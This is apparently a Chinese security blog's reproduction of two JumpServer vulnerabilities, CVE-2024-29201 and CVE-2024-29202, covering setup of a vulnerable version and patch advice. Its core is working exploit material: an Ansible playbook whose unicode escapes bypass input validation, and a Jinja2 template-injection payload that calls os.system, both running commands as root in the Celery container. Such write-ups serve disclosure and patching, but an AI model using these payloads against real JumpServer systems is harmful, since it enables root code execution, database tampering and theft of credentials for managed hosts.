JumpServer 是一款开源堡垒主机和运维安全审计系统。
攻击者可以绕过 JumpServer 的 Ansible 中的输入验证机制(CVE-2024-29201)或者利用 JumpServer 的 Ansible 中的 Jinja2 模板注入漏洞(CVE-2024-29202),在 Celery 容器中执行任意代码。由于 Celery 容器以 root 权限运行并具有数据库访问权限,因此攻击者可以从所有主机窃取敏感信息或操纵数据库。
影响版本: v3.0.0 <= JumpServer <= v3.10.6
CVSS3 评分为 9.9。
从官网下载安装脚本quick_start.sh[1],并且修改 VERSION 为存在漏洞的版本,例如 3.10.6:
下面执行脚本进行安装:
安装完成后访问 web 页面,默认密码为 admin/admin: 首先在用户管理处新建一个普通权限的用户,用作攻击者账户,即为下图中的 test:
下面在资产列表处,新建一个资产:
新建完成后,通过更新,添加一个账号:
测试一下是否配置成功:
如图所示即可。 最后授权一个资产给攻击者账户:
到此所有配置全部完成。
切换到攻击者账户,到模板管理中,创建一个 playbook,test_playbook:
内容如下:
[{
"name": "RCE playbook",
"hosts": "all",
"tasks": [
{
"name": "this runs in Celery container",
"shell": "id > /tmp/testfile",
"\u0064elegate_to": "localhost"
} ],
"vars": {
"ansible_\u0063onnection": "local"
}
}]
保存后,新建一个作业,其中选择前面新建的 playbook,运行即可。
执行的命令为 id > /tmp/testfile
,到 container 中查看:
成功执行命令。 如果将 unicode 编码部分写成明文,结果如下:
失败。
攻击流量如下:
与前面过程相似,修改 playbook 的内容如下:
- name: |
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{
x()._module.__builtins__["__import__"]("os").system("whoami > /tmp/testfile2")
}}
{%endif%}
{%endfor%}
运行会提示 error,但是能成功执行:
成功。
攻击流量如下:
1、升级 jumpserver 到 3.10.7 或更高版本
2、在「功能设置」中关闭「任务中心」功能
参考链接:
•https://github.com/jumpserver/jumpserver/security/advisories/GHSA-pjpp-cm9x-6rwj•https://github.com/jumpserver/jumpserver/security/advisories/GHSA-2vvr-vmvx-73ch•https://wh0am1i.com/2024/03/30/JumpServer-CVE-2024-29201-CVE-2024-29202/
[1]
quick_start.sh: https://resource.fit2cloud.com/jumpserver/jumpserver/releases/latest/download/quick_start.sh